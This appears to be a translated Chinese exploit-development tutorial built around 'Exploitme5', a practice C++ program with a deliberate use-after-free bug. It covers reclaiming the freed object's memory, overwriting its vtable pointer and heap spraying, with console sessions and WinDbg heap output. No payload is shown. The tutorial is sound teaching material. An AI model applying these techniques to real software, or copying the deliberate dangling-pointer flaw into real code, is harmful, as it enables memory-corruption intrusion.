                 "Your choice [1-3]: ", mutators[0]->getParam());
           int choice = _getch();
           printf("\n\n");
           if (choice == '3')
                 break;
           if (choice >= '1' && choice <= '3') {
                 if (choice == '1') {
                      if (printAddresses)
                            printf("mutators[0] = 0x%08x\n", mutators[0]);
                      delete mutators[0];
 
                      printf("multiplier (int): ");
                      int multiplier;
                      int res = scanf_s("%d", &multiplier);
                      fflush(stdin);
                      if (res) {
                            mutators[0] = new Multiplier(multiplier);
                            if (printAddresses)
                                  printf("mutators[0] = 0x%08x\n", mutators[0]);
                            printf("Multiplier was configured\n\n");
                      }
                      break;
                 }
                 else {
                      printf("LowerCaser is not configurable for now!\n\n");
                 }
           }
           else
                 printf("Wrong choice!\n");
      }
}
 
void listBlocks() {
      printf("------- Blocks -------\n");
      if (!printAddresses)
           for (size_t i = 0; i < blocks.size(); ++i)
                 printf("block %d: size = %d\n", i, blocks[i].getSize());
      else
           for (size_t i = 0; i < blocks.size(); ++i)
                 printf("block %d: address = 0x%08x; size = %d\n", i, blocks[i].getData(), blocks[i].getSize());
      printf("----------------------\n\n");
}
 
void readBlock() {
      char *data;
      char filePath[1024];
 
      while (true) {
           printf("File path ('exit' to exit): ");
           scanf_s("%s", filePath, sizeof(filePath));
           fflush(stdin);
           printf("\n");
           if (!strcmp(filePath, "exit"))
                 return;
           FILE *f = fopen(filePath, "rb");
           if (!f)
                 printf("Can't open the file!\n\n");
           else {
                 fseek(f, 0L, SEEK_END);
                 long bytes = ftell(f);
                 data = new char[bytes];
 
                 fseek(f, 0L, SEEK_SET);
                 int pos = 0;
                 while (pos < bytes) {
                      int len = bytes - pos > 200 ? 200 : bytes - pos;
                      fread(data + pos, 1, len, f);
                      pos += len;
                 }
                 fclose(f);
 
                 blocks.push_back(Block(data, bytes));
 
                 printf("Block read (%d bytes)\n\n", bytes);
                 break;
           }
      }
}
 
void duplicateBlock() {
      listBlocks();
      while (true) {
           printf("Index of block to duplicate (-1 to exit): ");
           int index;
           scanf_s("%d", &index);
           fflush(stdin);
           if (index == -1)
                 return;
           if (index < 0 || index >= (int)blocks.size()) {
                 printf("Wrong index!\n");
           }
           else {
                 while (true) {
                      int copies;
                      printf("Number of copies (-1 to exit): ");
                      scanf_s("%d", &copies);
                      fflush(stdin);
                      if (copies == -1)
                            return;
                      if (copies <= 0)
                            printf("Wrong number of copies!\n");
                      else {
                            for (int i = 0; i < copies; ++i) {
                                  int size = blocks[index].getSize();
                                  void *data = new char[size];
                                  memcpy(data, blocks[index].getData(), size);
                                  blocks.push_back(Block(data, size));
                            }
                            return;
                      }
                 }
           }
      }
}
 
void myExit() {
      exit(0);
}
 
void mutateBlock() {
      listBlocks();
      while (true) {
           printf("Index of block to mutate (-1 to exit): ");
           int index;
           scanf_s("%d", &index);
           fflush(stdin);
           if (index == -1)
                 break;
           if (index < 0 || index >= (int)blocks.size()) {
                 printf("Wrong index!\n");
           }
           else {
                 while (true) {
                      printf(
                            "1) Multiplier\n"
                            "2) LowerCaser\n"
                            "3) Exit\n"
                            "Your choice [1-3]: ");
                      int choice = _getch();
                      printf("\n\n");
                      if (choice == '3')
                            break;
                      if (choice >= '1' && choice <= '3') {
                            choice -= '0';
                            mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
                            printf("The block was mutated.\n\n");
                            break;
                      }
                      else
                            printf("Wrong choice!\n\n");
                 }
                 break;
           }
      }
}
 
int handleMenu() {
      while (true) {
           printf(
                 "1) Read block from file\n"
                 "2) List blocks\n"
                 "3) Duplicate Block\n"
                 "4) Configure mutator\n"
                 "5) Mutate block\n"
                 "6) Exit\n"
                 "\n"
                 "Your choice [1-6]: ");
           int choice = _getch();
           printf("\n\n");
           if (choice >= '1' && choice <= '6')
                 return choice - '0';
           else
                 printf("Wrong choice!\n\n");
      }
}
 
int main() {
      typedef void(*funcPtr)();
      funcPtr functions[] = { readBlock, listBlocks, duplicateBlock, configureMutator, mutateBlock, myExit };
 
      while (true) {
           int choice = handleMenu();
           functions[choice - 1]();
      }
 
      return 0;
}





这个程序比之前的那个程序要长一些,我们来简要的说一下它.这个程序可以让你:


1.        
从文件中读取一块数据;


2.        
通过拷贝来复制一个块;


3.        
通过某些操作来转换一个块.


你可以通过使用修改器(mutator)来修改一个块.这里正好有两个修改器(mutator):第一个叫做[bookmark: OLE_LINK2][bookmark: OLE_LINK1]倍增器(Multiplier),可以通过倍增器(Multiplier)乘以块中的DWORD值实现倍增,第二个叫做LowerCaser(只是将ASCII字符转换为小写).


倍增器(Multiplier)这个修改器(mutator)是可配置的,即倍增器(Multiplier)是用户可指定的.




UAF


这个程序有一个UAF(释放后使用)类型的bug. UAF bug的示例如下:


Object *obj = new object();
...
delete obj;             //释放
...
obj->method();         //使用


正如你所看到的,obj被释放以后又被使用了. 在C++中,对象必须被手动释放(没有垃圾收集器),由于编码的错误,当一个对象被使用的时候,可能它已经被释放了.被释放以后,obj就变成了所谓的悬挂指针(dangling pointer),因为它指向了已经被释放的数据.




那么我们怎么才能利用这种bug呢?思路:通过这个悬挂指针来控制被该指针指向的部分内存.要理解这个过程,我们需要了解一下内存分配器的工作原理.在之前的堆那一章中我们已经讨论过了Windows的堆.




简而言之,堆维护了一个空闲块列表.每个列表都包含一组特定大小的空闲块.例如,如果我们需要分配一个32字节的块,一个40字节的块会从空闲块中的相应列表中移除,并返回给调用程序。需要注意的是,该块是40个字节,因为有8个字节被用于元数据(metadata).当块被应用程序释放以后,该块会被插入到空闲块的相应列表中.




这里有一个非常重要的细节:当分配器需要从空闲列表中移除一个空闲块时,它往往会返回被插入到列表中的最后一个空闲块.也就是说,一个32字节的对象被释放了,然后另一个32字节的对象被分配,第二个对象将占据之前第一个对象占据的那部分内存.


我们一起来看一个例子:


Object* obj = new Object;
...
delete obj;
Object* obj2 = new Object;
...
obj->method();



在这个例子中,obj和obj2最终将指向同一个对象,因为通过delete释放的内存块又立马通过下面的new返回了.


如果我们分配一个相同尺寸的数组(而不是分配另一个对象),会发生什么呢?看一看这个例子:


Object *obj = new Object;         // sizeof(Object) = 32
...
delete obj;
int *data = new int[32/4];
data[0] = ptr_to_evil_VFTable;
...
obj->virtual_method();



就像我们之前exploit Exploitme4那样,对象的第一个DWORD是一个指向虚函数表的指针.在上面这个例子中,通过这个UAF bug,我们可以选择一个值来覆盖虚表的指针.这样的话,obj->virtual_method()最终将调用我们的payload(攻击载荷).






堆喷射(Heap Spraying)


堆喷射的意思是:用我们控制的数据填充堆.在浏览器中,我们可以通过Javascript分配字符串或者其他对象来进行堆喷射.堆喷射是将我们的shellcode放到我们准备攻击的进程地址空间中的一种方法.假如说,我们成功的用如下的数据填充了堆:


nop 
nop 
nop 
. 
. 
. 
nop 
shellcode 
nop 
nop 
nop 
. 
. 
. 
nop 
shellcode 
. 
. 
. 
(等等) 



即使在堆中分配内存的地址我们不能完全确定,只要我们将足够多的数据填充到堆中,并且我们的shellcode前面放了大量的nop,那么我们很有可能通过跳到堆中特定的地址以此来命中nop块,紧接着我们的shellcode也会被执行.


通过研究堆的行为,我们甚至还可以进行精确地堆喷射(不用在shellcode前面放大量的nop).




Exploitme5中的UAF


这个UAF bug位于mutateBlock()函数中.代码如下:


void configureMutator() {
      while (true) {
           printf(
                 "1) Multiplier (multiplier = %d)\n"
                 "2) LowerCaser\n"
                 "3) Exit\n"
                 "\n"
                 "Your choice [1-3]: ", mutators[0]->getParam());
           int choice = _getch();
           printf("\n\n");
           if (choice == '3')
                 break;
           if (choice >= '1' && choice <= '3') {
                 if (choice == '1') {
                      if (printAddresses)
                            printf("mutators[0] = 0x%08x\n", mutators[0]);
                      delete mutators[0];               // <----------------------- 释放
 
                      printf("multiplier (int): ");
                      int multiplier;
                      int res = scanf_s("%d", &multiplier);
                      fflush(stdin);
                      if (res) {
                            mutators[0] = new Multiplier(multiplier);  //<---------- 仅仅当res为true
                            if (printAddresses)
                                  printf("mutators[0] = 0x%08x\n", mutators[0]);
                            printf("Multiplier was configured\n\n");
                      }
                      break;
                 }
                 else {
                      printf("LowerCaser is not configurable for now!\n\n");
                 }
           }
           else
                 printf("Wrong choice!\n");
      }
}



看一看上面代码中的两处注释.这个函数可以让我们修改倍增器,但是如果我们输入了一个无效的值,例如“asdf”,scanf_s()返回false,这个时候mutator[0]就会变成一个悬挂指针,因为它仍然指向了已经被销毁的对象.




Multiplier(倍增器)这个类的定义如下(它的基类是Mutator):


class Mutator {
protected:
      int param;
 
public:
      Mutator(int param) : param(param) {}
 
      virtual int getParam() const {
           return param;
      }
      
      virtual void mutate(void *data, int size) const = 0;
};
 
class Multiplier : public Mutator {
      int reserved[40];           // 现在没用到!
 
public:
      Multiplier(int multiplier = 0) : Mutator(multiplier) {}
 
      virtual void mutate(void *data, int size) const {
           int *ptr = (int *)data;
           for (int i = 0; i < size / 4; ++i)
                 ptr[i] *= getParam();
      }
};



倍增器(Mutiplier)的尺寸为:


字节数      名称
------------------------------
4           虚表指针    
4           “param”属性
40*4        “reserved”属性
------------------------------
168个字节


所以如果我们分配一个168字节的块,分配器会返回给我们仍然被mutators[0]指向的块.我们怎样创建这样一个块呢?我们可以使用Read block from file这个选项,但是这个选项有可能不起作用,因为新块被分配之前调用了fopen().问题在于fopen()内部也会调用分配器.readBlock()的代码如下:


void readBlock() {
         char *data;
         char filePath[1024];
 
         while (true) {
                   printf("File path ('exit' to exit): ");
                   scanf_s("%s", filePath, sizeof(filePath));
                   fflush(stdin);
                   printf("\n");
                   if (!strcmp(filePath, "exit"))
                            return;
                   FILE *f = fopen(filePath, "rb");                        ?---------
                   if (!f)
                            printf("Can't open the file!\n\n");
                   else {
                            fseek(f, 0L, SEEK_END);
                            long bytes = ftell(f);
                            data = new char[bytes];                       ?---------
 
                            fseek(f, 0L, SEEK_SET);
                            int pos = 0;
                            while (pos < bytes) {
                                     int len = bytes - pos > 200 ? 200 : bytes - pos;
                                     fread(data + pos, 1, len, f);
                                     pos += len;
                            }
                            fclose(f);
 
                            blocks.push_back(Block(data, bytes));
 
                            printf("Block read (%d bytes)\n\n", bytes);
                            break;
                   }
         }
}



为了方便,代码中提供了listBlocks()这个函数用于打印已释放倍增器(Mutiplier)(mutator[0])和已分配内存块的地址.


我们来尝试利用这个UAF bug.首先我们通过如下的Python脚本创建一个168字节的文件:





现在我们运行Exploitme5:





正如你所看到的,新块被分配在了与已释放修改器(mutator)相同的地址处.这意味着我们可以通过mutator[0]来控制其指向内存单元的内容.


虽然这种方法奏效了,但是更好的方法是


1.      
Read
block from file


2.      
Configure
mutator -> UAF bug


3.      
Duplicate
Block


这种方法可靠性更高,因为duplicateBlock()会立刻分配一个新块(而在之前不用调用其他危险的函数):


void duplicateBlock() {
         listBlocks();
         while (true) {
                   printf("Index of block to duplicate (-1 to exit): ");
                   int index;
                   scanf_s("%d", &index);
                   fflush(stdin);
                   if (index == -1)
                            return;
                   if (index < 0 || index >= (int)blocks.size()) {
                            printf("Wrong index!\n");
                   }
                   else {
                            while (true) {
                                     int copies;
                                     printf("Number of copies (-1 to exit): ");
                                     scanf_s("%d", &copies);
                                     fflush(stdin);
                                     if (copies == -1)
                                               return;
                                     if (copies <= 0)
                                               printf("Wrong number of copies!\n");
                                     else {
                                               for (int i = 0; i < copies; ++i) {
                                                        int size = blocks[index].getSize();
                                                        void *data = new char[size];                 <-------
                                                        memcpy(data, blocks[index].getData(), size);
                                                        blocks.push_back(Block(data, size));
                                               }
                                               return;
                                     }
                            }
                   }
         }
}



我们再来试试第二种方法:


1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:  1
 
File path ('exit' to exit): c:\obj.dat
 
Block read (168 bytes)
 
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:   4
 
1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit
 
Your choice [1-3]:   1
 
mutators[0] = 0x003e04b8             <------------         
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:   3
 
------- Blocks -------
block 0: address = 0x003e2998; size = 168
----------------------
 
Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:    2
 
------- Blocks -------
block 0: address = 0x003e2998; size = 168
block 1: address = 0x003e04b8; size = 168   <----
----------------------
 
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:




当然也是起作用的.




Exploitme5中的堆喷射(Heap
Spraying)


我可以通过从文件中读取一个超大的块,然后对它进行多份拷贝来进行堆喷射.我们来试下分配1MB大小的块.我们可以通过如下脚本来创建该文件:





注意,0x100000是1MB的十六进制.我们在WinDbg中打开Exploitme5并运行它:


1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:   1
 
File path ('exit' to exit): c:\buf.dat
 
Block read (1048576 bytes)     <===========1MB
 
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:  3
 
------- Blocks -------
block 0: address = 0x002f0020; size = 1048576
----------------------
 
Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 200      <=======200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:  2
 
------- Blocks -------
block 0: address = 0x002f0020; size = 1048576
block 1: address = 0x00400020; size = 1048576
block 2: address = 0x00510020; size = 1048576
block 3: address = 0x00620020; size = 1048576
block 4: address = 0x00730020; size = 1048576
block 5: address = 0x00840020; size = 1048576
block 6: address = 0x00950020; size = 1048576
block 7: address = 0x00a60020; size = 1048576
block 8: address = 0x00b70020; size = 1048576
block 9: address = 0x00c80020; size = 1048576
block 10: address = 0x00d90020; size = 1048576
block 11: address = 0x00ea0020; size = 1048576
block 12: address = 0x00fb0020; size = 1048576
block 13: address = 0x010c0020; size = 1048576
block 14: address = 0x011d0020; size = 1048576
block 15: address = 0x01310020; size = 1048576
block 16: address = 0x01420020; size = 1048576
block 17: address = 0x01530020; size = 1048576
block 18: address = 0x01640020; size = 1048576
block 19: address = 0x01750020; size = 1048576
block 20: address = 0x01860020; size = 1048576
block 21: address = 0x01970020; size = 1048576
block 22: address = 0x01a80020; size = 1048576
block 23: address = 0x01b90020; size = 1048576
block 24: address = 0x01ca0020; size = 1048576
block 25: address = 0x01db0020; size = 1048576
block 26: address = 0x01ec0020; size = 1048576
block 27: address = 0x01fd0020; size = 1048576
block 28: address = 0x020e0020; size = 1048576
block 29: address = 0x021f0020; size = 1048576
block 30: address = 0x02300020; size = 1048576
block 31: address = 0x02410020; size = 1048576
block 32: address = 0x02520020; size = 1048576
block 33: address = 0x02630020; size = 1048576
block 34: address = 0x02740020; size = 1048576
block 35: address = 0x02850020; size = 1048576
block 36: address = 0x02960020; size = 1048576
block 37: address = 0x02a70020; size = 1048576
block 38: address = 0x02b80020; size = 1048576
block 39: address = 0x02c90020; size = 1048576
block 40: address = 0x02da0020; size = 1048576
block 41: address = 0x02eb0020; size = 1048576
block 42: address = 0x02fc0020; size = 1048576
block 43: address = 0x030d0020; size = 1048576
block 44: address = 0x031e0020; size = 1048576
block 45: address = 0x032f0020; size = 1048576
block 46: address = 0x03400020; size = 1048576
block 47: address = 0x03510020; size = 1048576
block 48: address = 0x03620020; size = 1048576
block 49: address = 0x03730020; size = 1048576
block 50: address = 0x03840020; size = 1048576
block 51: address = 0x03950020; size = 1048576
block 52: address = 0x03a60020; size = 1048576
block 53: address = 0x03b70020; size = 1048576
block 54: address = 0x03c80020; size = 1048576
block 55: address = 0x03d90020; size = 1048576
block 56: address = 0x03ea0020; size = 1048576
block 57: address = 0x03fb0020; size = 1048576
block 58: address = 0x040c0020; size = 1048576
block 59: address = 0x041d0020; size = 1048576
block 60: address = 0x042e0020; size = 1048576
block 61: address = 0x043f0020; size = 1048576
block 62: address = 0x04500020; size = 1048576
block 63: address = 0x04610020; size = 1048576
block 64: address = 0x04720020; size = 1048576
block 65: address = 0x04830020; size = 1048576
block 66: address = 0x04940020; size = 1048576
block 67: address = 0x04a50020; size = 1048576
block 68: address = 0x04b60020; size = 1048576
block 69: address = 0x04c70020; size = 1048576
block 70: address = 0x04d80020; size = 1048576
block 71: address = 0x04e90020; size = 1048576
block 72: address = 0x04fa0020; size = 1048576
block 73: address = 0x050b0020; size = 1048576
block 74: address = 0x051c0020; size = 1048576
block 75: address = 0x052d0020; size = 1048576
block 76: address = 0x053e0020; size = 1048576
block 77: address = 0x054f0020; size = 1048576
block 78: address = 0x05600020; size = 1048576
block 79: address = 0x05710020; size = 1048576
block 80: address = 0x05820020; size = 1048576
block 81: address = 0x05930020; size = 1048576
block 82: address = 0x05a40020; size = 1048576
block 83: address = 0x05b50020; size = 1048576
block 84: address = 0x05c60020; size = 1048576
block 85: address = 0x05d70020; size = 1048576
block 86: address = 0x05e80020; size = 1048576
block 87: address = 0x05f90020; size = 1048576
block 88: address = 0x060a0020; size = 1048576
block 89: address = 0x061b0020; size = 1048576
block 90: address = 0x062c0020; size = 1048576
block 91: address = 0x063d0020; size = 1048576
block 92: address = 0x064e0020; size = 1048576
block 93: address = 0x065f0020; size = 1048576
block 94: address = 0x06700020; size = 1048576
block 95: address = 0x06810020; size = 1048576
block 96: address = 0x06920020; size = 1048576
block 97: address = 0x06a30020; size = 1048576
block 98: address = 0x06b40020; size = 1048576
block 99: address = 0x06c50020; size = 1048576
block 100: address = 0x06d60020; size = 1048576
block 101: address = 0x06e70020; size = 1048576
block 102: address = 0x06f80020; size = 1048576
block 103: address = 0x07090020; size = 1048576
block 104: address = 0x071a0020; size = 1048576
block 105: address = 0x072b0020; size = 1048576
block 106: address = 0x073c0020; size = 1048576
block 107: address = 0x074d0020; size = 1048576
block 108: address = 0x075e0020; size = 1048576
block 109: address = 0x076f0020; size = 1048576
block 110: address = 0x07800020; size = 1048576
block 111: address = 0x07910020; size = 1048576
block 112: address = 0x07a20020; size = 1048576
block 113: address = 0x07b30020; size = 1048576
block 114: address = 0x07c40020; size = 1048576
block 115: address = 0x07d50020; size = 1048576
block 116: address = 0x07e60020; size = 1048576
block 117: address = 0x07f70020; size = 1048576
block 118: address = 0x08080020; size = 1048576
block 119: address = 0x08190020; size = 1048576
block 120: address = 0x082a0020; size = 1048576
block 121: address = 0x083b0020; size = 1048576
block 122: address = 0x084c0020; size = 1048576
block 123: address = 0x085d0020; size = 1048576
block 124: address = 0x086e0020; size = 1048576
block 125: address = 0x087f0020; size = 1048576
block 126: address = 0x08900020; size = 1048576
block 127: address = 0x08a10020; size = 1048576
block 128: address = 0x08b20020; size = 1048576
block 129: address = 0x08c30020; size = 1048576
block 130: address = 0x08d40020; size = 1048576
block 131: address = 0x08e50020; size = 1048576
block 132: address = 0x08f60020; size = 1048576
block 133: address = 0x09070020; size = 1048576
block 134: address = 0x09180020; size = 1048576
block 135: address = 0x09290020; size = 1048576
block 136: address = 0x093a0020; size = 1048576
block 137: address = 0x094b0020; size = 1048576
block 138: address = 0x095c0020; size = 1048576
block 139: address = 0x096d0020; size = 1048576
block 140: address = 0x097e0020; size = 1048576
block 141: address = 0x098f0020; size = 1048576
block 142: address = 0x09a00020; size = 1048576
block 143: address = 0x09b10020; size = 1048576
block 144: address = 0x09c20020; size = 1048576
block 145: address = 0x09d30020; size = 1048576
block 146: address = 0x09e40020; size = 1048576
block 147: address = 0x09f50020; size = 1048576
block 148: address = 0x0a060020; size = 1048576
block 149: address = 0x0a170020; size = 1048576
block 150: address = 0x0a280020; size = 1048576
block 151: address = 0x0a390020; size = 1048576
block 152: address = 0x0a4a0020; size = 1048576
block 153: address = 0x0a5b0020; size = 1048576
block 154: address = 0x0a6c0020; size = 1048576
block 155: address = 0x0a7d0020; size = 1048576
block 156: address = 0x0a8e0020; size = 1048576
block 157: address = 0x0a9f0020; size = 1048576
block 158: address = 0x0ab00020; size = 1048576
block 159: address = 0x0ac10020; size = 1048576
block 160: address = 0x0ad20020; size = 1048576
block 161: address = 0x0ae30020; size = 1048576
block 162: address = 0x0af40020; size = 1048576
block 163: address = 0x0b050020; size = 1048576
block 164: address = 0x0b160020; size = 1048576
block 165: address = 0x0b270020; size = 1048576
block 166: address = 0x0b380020; size = 1048576
block 167: address = 0x0b490020; size = 1048576
block 168: address = 0x0b5a0020; size = 1048576
block 169: address = 0x0b6b0020; size = 1048576
block 170: address = 0x0b7c0020; size = 1048576
block 171: address = 0x0b8d0020; size = 1048576
block 172: address = 0x0b9e0020; size = 1048576
block 173: address = 0x0baf0020; size = 1048576
block 174: address = 0x0bc00020; size = 1048576
block 175: address = 0x0bd10020; size = 1048576
block 176: address = 0x0be20020; size = 1048576
block 177: address = 0x0bf30020; size = 1048576
block 178: address = 0x0c040020; size = 1048576
block 179: address = 0x0c150020; size = 1048576
block 180: address = 0x0c260020; size = 1048576
block 181: address = 0x0c370020; size = 1048576
block 182: address = 0x0c480020; size = 1048576
block 183: address = 0x0c590020; size = 1048576
block 184: address = 0x0c6a0020; size = 1048576
block 185: address = 0x0c7b0020; size = 1048576
block 186: address = 0x0c8c0020; size = 1048576
block 187: address = 0x0c9d0020; size = 1048576
block 188: address = 0x0cae0020; size = 1048576
block 189: address = 0x0cbf0020; size = 1048576
block 190: address = 0x0cd00020; size = 1048576
block 191: address = 0x0ce10020; size = 1048576
block 192: address = 0x0cf20020; size = 1048576
block 193: address = 0x0d030020; size = 1048576
block 194: address = 0x0d140020; size = 1048576
block 195: address = 0x0d250020; size = 1048576
block 196: address = 0x0d360020; size = 1048576
block 197: address = 0x0d470020; size = 1048576
block 198: address = 0x0d580020; size = 1048576
block 199: address = 0x0d690020; size = 1048576
block 200: address = 0x0d7a0020; size = 1048576
----------------------
 
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:


现在在WinDbg中选择Debug->Break,观察一下堆:








这就奇怪了…我们那200MB的数据呢?其实吧,是因为当堆管理器被要求分配块时,如果要求分配的大小高于某个阈值,则该分配的请求直接被发送给虚拟内存管理器了.我们一起来看一看:


0:001> !heap -s                                ("-s"表示 "概要")
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x0c7bf622
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast 
                    (k)     (k)    (k)     (k) length      blocks cont. heap 
-----------------------------------------------------
Virtual block: 002f0000 - 002f0000 (size 00000000)
Virtual block: 00400000 - 00400000 (size 00000000)
Virtual block: 00510000 - 00510000 (size 00000000)
Virtual block: 00620000 - 00620000 (size 00000000)
Virtual block: 00730000 - 00730000 (size 00000000)
Virtual block: 00840000 - 00840000 (size 00000000)
Virtual block: 00950000 - 00950000 (size 00000000)
Virtual block: 00a60000 - 00a60000 (size 00000000)
Virtual block: 00b70000 - 00b70000 (size 00000000)
Virtual block: 00c80000 - 00c80000 (size 00000000)
Virtual block: 00d90000 - 00d90000 (size 00000000)
Virtual block: 00ea0000 - 00ea0000 (size 00000000)
Virtual block: 00fb0000 - 00fb0000 (size 00000000)
Virtual block: 010c0000 - 010c0000 (size 00000000)
Virtual block: 011d0000 - 011d0000 (size 00000000)
Virtual block: 01310000 - 01310000 (size 00000000)
Virtual block: 01420000 - 01420000 (size 00000000)
Virtual block: 01530000 - 01530000 (size 00000000)
Virtual block: 01640000 - 01640000 (size 00000000)
Virtual block: 01750000 - 01750000 (size 00000000)
Virtual block: 01860000 - 01860000 (size 00000000)
Virtual block: 01970000 - 01970000 (size 00000000)
Virtual block: 01a80000 - 01a80000 (size 00000000)
Virtual block: 01b90000 - 01b90000 (size 00000000)
Virtual block: 01ca0000 - 01ca0000 (size 00000000)
Virtual block: 01db0000 - 01db0000 (size 00000000)
Virtual block: 01ec0000 - 01ec0000 (size 00000000)
Virtual block: 01fd0000 - 01fd0000 (size 00000000)
Virtual block: 020e0000 - 020e0000 (size 00000000)
Virtual block: 021f0000 - 021f0000 (size 00000000)
Virtual block: 02300000 - 02300000 (size 00000000)
Virtual block: 02410000 - 02410000 (size 00000000)
Virtual block: 02520000 - 02520000 (size 00000000)
Virtual block: 02630000 - 02630000 (size 00000000)
Virtual block: 02740000 - 02740000 (size 00000000)
Virtual block: 02850000 - 02850000 (size 00000000)
Virtual block: 02960000 - 02960000 (size 00000000)
Virtual block: 02a70000 - 02a70000 (size 00000000)
Virtual block: 02b80000 - 02b80000 (size 00000000)
Virtual block: 02c90000 - 02c90000 (size 00000000)
Virtual block: 02da0000 - 02da0000 (size 00000000)
Virtual block: 02eb0000 - 02eb0000 (size 00000000)
Virtual block: 02fc0000 - 02fc0000 (size 00000000)
Virtual block: 030d0000 - 030d0000 (size 00000000)
Virtual block: 031e0000 - 031e0000 (size 00000000)
Virtual block: 032f0000 - 032f0000 (size 00000000)
Virtual block: 03400000 - 03400000 (size 00000000)
Virtual block: 03510000 - 03510000 (size 00000000)
Virtual block: 03620000 - 03620000 (size 00000000)
Virtual block: 03730000 - 03730000 (size 00000000)
Virtual block: 03840000 - 03840000 (size 00000000)
Virtual block: 03950000 - 03950000 (size 00000000)
Virtual block: 03a60000 - 03a60000 (size 00000000)
Virtual block: 03b70000 - 03b70000 (size 00000000)
Virtual block: 03c80000 - 03c80000 (size 00000000)
Virtual block: 03d90000 - 03d90000 (size 00000000)
Virtual block: 03ea0000 - 03ea0000 (size 00000000)
Virtual block: 03fb0000 - 03fb0000 (size 00000000)
Virtual block: 040c0000 - 040c0000 (size 00000000)
Virtual block: 041d0000 - 041d0000 (size 00000000)
Virtual block: 042e0000 - 042e0000 (size 00000000)
Virtual block: 043f0000 - 043f0000 (size 00000000)
Virtual block: 04500000 - 04500000 (size 00000000)
Virtual block: 04610000 - 04610000 (size 00000000)
Virtual block: 04720000 - 04720000 (size 00000000)
Virtual block: 04830000 - 04830000 (size 00000000)
Virtual block: 04940000 - 04940000 (size 00000000)
Virtual block: 04a50000 - 04a50000 (size 00000000)
Virtual block: 04b60000 - 04b60000 (size 00000000)
Virtual block: 04c70000 - 04c70000 (size 00000000)
Virtual block: 04d80000 - 04d80000 (size 00000000)
Virtual block: 04e90000 - 04e90000 (size 00000000)
Virtual block: 04fa0000 - 04fa0000 (size 00000000)
Virtual block: 050b0000 - 050b0000 (size 00000000)
Virtual block: 051c0000 - 051c0000 (size 00000000)
Virtual block: 052d0000 - 052d0000 (size 00000000)
Virtual block: 053e0000 - 053e0000 (size 00000000)
Virtual block: 054f0000 - 054f0000 (size 00000000)
Virtual block: 05600000 - 05600000 (size 00000000)
Virtual block: 05710000 - 05710000 (size 00000000)
Virtual block: 05820000 - 05820000 (size 00000000)
Virtual block: 05930000 - 05930000 (size 00000000)
Virtual block: 05a40000 - 05a40000 (size 00000000)
Virtual block: 05b50000 - 05b50000 (size 00000000)
Virtual block: 05c60000 - 05c60000 (size 00000000)
Virtual block: 05d70000 - 05d70000 (size 00000000)
Virtual block: 05e80000 - 05e80000 (size 00000000)
Virtual block: 05f90000 - 05f90000 (size 00000000)
Virtual block: 060a0000 - 060a0000 (size 00000000)
Virtual block: 061b0000 - 061b0000 (size 00000000)
Virtual block: 062c0000 - 062c0000 (size 00000000)
Virtual block: 063d0000 - 063d0000 (size 00000000)
Virtual block: 064e0000 - 064e0000 (size 00000000)
Virtual block: 065f0000 - 065f0000 (size 00000000)
Virtual block: 06700000 - 06700000 (size 00000000)
Virtual block: 06810000 - 06810000 (size 00000000)
Virtual block: 06920000 - 06920000 (size 00000000)
Virtual block: 06a30000 - 06a30000 (size 00000000)
Virtual block: 06b40000 - 06b40000 (size 00000000)
Virtual block: 06c50000 - 06c50000 (size 00000000)
Virtual block: 06d60000 - 06d60000 (size 00000000)
Virtual block: 06e70000 - 06e70000 (size 00000000)
Virtual block: 06f80000 - 06f80000 (size 00000000)
Virtual block: 07090000 - 07090000 (size 00000000)
Virtual block: 071a0000 - 071a0000 (size 00000000)
Virtual block: 072b0000 - 072b0000 (size 00000000)
Virtual block: 073c0000 - 073c0000 (size 00000000)
Virtual block: 074d0000 - 074d0000 (size 00000000)
Virtual block: 075e0000 - 075e0000 (size 00000000)
Virtual block: 076f0000 - 076f0000 (size 00000000)
Virtual block: 07800000 - 07800000 (size 00000000)
Virtual block: 07910000 - 07910000 (size 00000000)
Virtual block: 07a20000 - 07a20000 (size 00000000)
Virtual block: 07b30000 - 07b30000 (size 00000000)
Virtual block: 07c40000 - 07c40000 (size 00000000)
Virtual block: 07d50000 - 07d50000 (size 00000000)
Virtual block: 07e60000 - 07e60000 (size 00000000)
Virtual block: 07f70000 - 07f70000 (size 00000000)
Virtual block: 08080000 - 08080000 (size 00000000)
Virtual block: 08190000 - 08190000 (size 00000000)
Virtual block: 082a0000 - 082a0000 (size 00000000)
Virtual block: 083b0000 - 083b0000 (size 00000000)
Virtual block: 084c0000 - 084c0000 (size 00000000)
Virtual block: 085d0000 - 085d0000 (size 00000000)
Virtual block: 086e0000 - 086e0000 (size 00000000)
Virtual block: 087f0000 - 087f0000 (size 00000000)
Virtual block: 08900000 - 08900000 (size 00000000)
Virtual block: 08a10000 - 08a10000 (size 00000000)
Virtual block: 08b20000 - 08b20000 (size 00000000)
Virtual block: 08c30000 - 08c30000 (size 00000000)
Virtual block: 08d40000 - 08d40000 (size 00000000)
Virtual block: 08e50000 - 08e50000 (size 00000000)
Virtual block: 08f60000 - 08f60000 (size 00000000)
Virtual block: 09070000 - 09070000 (size 00000000)
